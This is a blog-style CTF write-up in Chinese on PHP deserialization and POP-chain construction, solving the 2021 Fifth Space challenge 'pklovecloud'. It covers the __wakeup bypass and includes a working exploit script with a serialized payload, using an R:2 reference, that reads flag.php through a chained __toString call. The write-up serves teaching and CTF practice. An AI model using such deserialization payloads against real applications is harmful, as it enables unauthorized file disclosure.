PHP反序列化&POP链的构造——2021第五空间CTF pklovecloud

0x00 前言

网上关与PHP反序列化&POP链构造的文章有很多,笔者在这里简要讲解一下其相关知识。从一道题当中学习、扩展、温习相关知识会使学习事半功倍。

0x01 序列化和反序列化

为方便存储和传输对象,将对象转化为字符串的操作叫做序列化( serialize() ),将所转化的字符串恢复成对象的过程叫做反序列化( unserialize() )。

举个栗子:

<?php
Class test{
    public $a= '1';
    public $bb= 2;
    public $ccc= True;
}

$r= new test();
echo(serialize($r));
# O:4:"test":3:{s:1:"a";s:1:"1";s:2:"bb";i:2;s:3:"ccc";b:1;}

$array_t= array("a"=>"1","bb"=>"2","ccc"=>"3");
echo(serialize($array_t));
# a:3:{s:1:"a";s:1:"1";s:2:"bb";s:1:"2";s:3:"ccc";s:1:"3";}

在这里插入图片描述
在这里插入图片描述
a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string

0x02 PHP魔术方法

方法名调用条件
__construct()在创建对象时候初始化对象,一般用于对变量赋初值。创建一个新的类时,自动调用该方法
__destruct()和构造函数相反,当对象所在函数调用完毕后执行.即当一个类被销毁时自动调用该方法
__toString()当对象被当做一个字符串使用时调用
__sleep()当调用serialize()函数时,PHP 将试图在序列动作之前调用该对象的成员函数 __sleep()。这就允许对象在被序列化之前做任何清除操作
__wakeup()反序列化恢复对象之前调用该方法。当使用 unserialize() 恢复对象时, 将调用 __wakeup() 成员函数
__invoke()把一个实例对象当作函数使用时被调用
__call()调用不可访问或不存在的方法时被调用
__callStatic()调用不可访问或不存在的静态方法时自动调用
__get()在调用私有属性的时候会自动执行
__isset()在不可访问的属性上调用 isset() 或 empty() 时触发
__set()当给不可访问或不存在属性赋值时被调用
__unset()在不可访问的属性上使用 unset() 时触发
__set_state()当调用 var_export() 导出类时,此静态方法被调用。用 __set_state() 的返回值做为 var_export() 的返回值
__clone()进行对象clone时被调用,用来调整对象的克隆行为
__debuginfo()当调用 var_dump() 打印对象时被调用(当你不想打印所有属性),适用于PHP5.6版本

0x03 __wakeup() bypass(进阶)

在不想执行 __wakeup() 的时候,可以让序列化结果中类属性的数值大于其真正的数值进行绕过,这个方式适用于PHP < 5.6.25 和 PHP< 7.0.10。

举个栗子:

<?php
Class User{
    public $name="Bob";
    
    function __destruct(){
        echo"nameis Bob </br>";
    }
  
    function __wakeup(){
        echo"exit</br>";
    }
}
@var_dump(unserialize($_POST["u"]));

POST参数 O:4:"User":1:{s:4:"name";s:3:"Bob";}

exit

object(User)[1]
 public 'name' => string 'Bob' (length=3)

nameis Bob

如果在某些情况下不想让 __wakeup() 执行,可以将 “User” 后的 1 改为一个比 1 大的数字。

POST参数 O:4:"User":2:{s:4:"name";s:3:"Bob";}

nameis Bob

booleanfalse

0x04 5space pklovecloud

题目地址:http://122.112.141.64:45852/

题目源码:

<?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?>

代码审计,显然是序列化与反序列化的利用——pop链的构造。大体分析一下触发流程:

要想读出 flag.php 就要触发 file_get_contents() 函数;要想触发 file_get_contents() 函数就要触发 ace 的 echo_name();寻找 echo_name(),发现 acp 的__toString() 中恰好有这个函数,所以要想触发 ace 的 echo_name() 就要触发 acp 的 __toString() 且使 acp $this->cinder = new ace();acp 实例化时会自动调用 __construct(),所以要想触发 __toString() 就要使 acp $this->cinder=对象,正好与上述分析所需的 $this->cinder = new ace() 相呼应。综上,pop链为:

acp->__construct() => acp->__toString() => ace->echo_name() => file_get_contents(flag.php)。

构造过程中有两个需要特别注意的点,一个是从未出现过的$heat变量,一个是unserialize($this->docker)。如何满足$this->openstack->neutron === $this->openstack->nova是这道题的关键。

我们先来看一下官方wp:

<?php
class acp
{ 
    protected $cinder; 
    public $neutron;
    public $nova;
    function __construct()
    { 
        $this->cinder = new ace();
    }
    function __toString() 
    { 
        if (isset($this->cinder)) 
            return $this->cinder->echo_name(); 
    }
}
class ace
{ 
    public $filename; 
    public $openstack;
    public $docker;
    function __construct()
    { 
        $this->filename = "flag.php";
        $this->docker = 'O:8:"stdClass":2:{s:7:"neutron";s:1:"a";s:4:"nova";R:2;}';
    }
    function echo_name() 
    {
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova) {
            $file = "./{$this->filename}";
            if (file_get_contents($file)) 
            { 
                return file_get_contents($file);
            } 
            else
            {
                return "keystone lost~";
            } 
        }
    }
}

$cls = new acp();
echo urlencode(serialize($cls))."\n";
echo $cls;

其中$this->docker = 'O:8:"stdClass":2:{s:7:"neutron";s:1:"a";s:4:"nova";R:2;}';是这道题的解题关键。R 在反序列化当中相当少见,网上相关的资料也少之甚少。那么 R:2 到底代表的是什么呢?实践是检验真理的唯一标准,如下是我测试分析的代码:

首先测试了一下当两个值都未赋值时是否能通过===

<?php

$a = $heat;
$b = $c;
echo $a.'--';
echo '<br>';
echo count($a);
echo '<br>';

if($a===$b)
	echo 'Data type and value both are same';
else
    echo 'Data type or value are different';

?>

在这里插入图片描述
上文提到 R 代表的是 pointer reference,所以构造个类且序列化验证:

<?php

class Test{
    public $m;     
    public $n;
    public $o;
    private $q;
    protected $p;
    function __construct($n,$o,$p,$q){
        $this->m = $m; 
        $this->n = $n; 
        $this->o = $o; 
        $this->p = $p;
        $this->q = $q;
    }
}

$i0clay = new Test(1,1,'1',true);
$i0clay->m = &$i0clay->n; //声明变量m,引用自变量n
echo (serialize($i0clay));

?>

在这里插入图片描述
注:private、public 类型变量序列化后其变量名会发生变化,详情可自行上网查询。

果然不出所料,但需要注意的是这里 R 所处的位置是被引用的变量 n 而非 m。那么 2 这个数字又代表什么呢?受 R 所处位置的启发,尝试更换 m 为其他变量:

<?php

class Test{
    public $m;     
    public $n;
    public $o;
    private $q;
    protected $p;
    function __construct($m,$n,$p,$q){
        $this->m = $m; 
        $this->n = $n; 
        $this->o = $o; 
        $this->p = $p;
        $this->q = $q;
    }
}

$i0clay = new Test(1,1,'1',true);
$i0clay->o = &$i0clay->n;
echo (serialize($i0clay));

?>

在这里插入图片描述
不难分析出,R 后的数字代表了要引用其他变量的变量所处的位置。当 m 引用 n 时为 R:2,当 o 引用 n 时 为 R:3。但是 m 是第一个变量,为什么会从 2 开始呢? R:1 又代表什么呢?在这里笔者尝试通过反序列化发现其含义,顺便验证一下前面结论的正确性:

<?php

$payload=unserialize('O:8:"stdClass":2:{s:7:"neutron";s:1:"a";s:4:"nova";R:2;}');
var_dump($payload);
echo($payload->nova);
echo '<br>';
echo(count($payload->nova));
echo '<br>';
$payload->neutron = $heat;
echo($payload->neutron.'--');
echo '<br>';
echo(count($payload->neutron.'--'));
echo '<br>';
if($payload->neutron === $payload->nova)
	echo 'Data type and value both are same';
echo '<br>';

?>

在这里插入图片描述

<?php

$payload=unserialize('O:8:"stdClass":2:{s:7:"neutron";s:1:"a";s:4:"nova";R:1;}');
var_dump($payload);
echo($payload->nova);
echo '<br>';
echo(count($payload->nova));
echo '<br>';
$payload->neutron = $heat;
echo($payload->neutron.'--');
echo '<br>';
echo(count($payload->neutron.'--'));
echo '<br>';
if($payload->neutron === $payload->nova)
	echo 'Data type and value both are same';
echo '<br>';

?>

在这里插入图片描述
猜测 R:1 在这里代表的是$payload = &$payload->nova,即要引用其他变量的变量是该类实例化的对象本身。

0x05 总结

在这里插入图片描述

0x06 参考文章

https://www.cnblogs.com/NPFS/p/12768697.html

  • 6
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值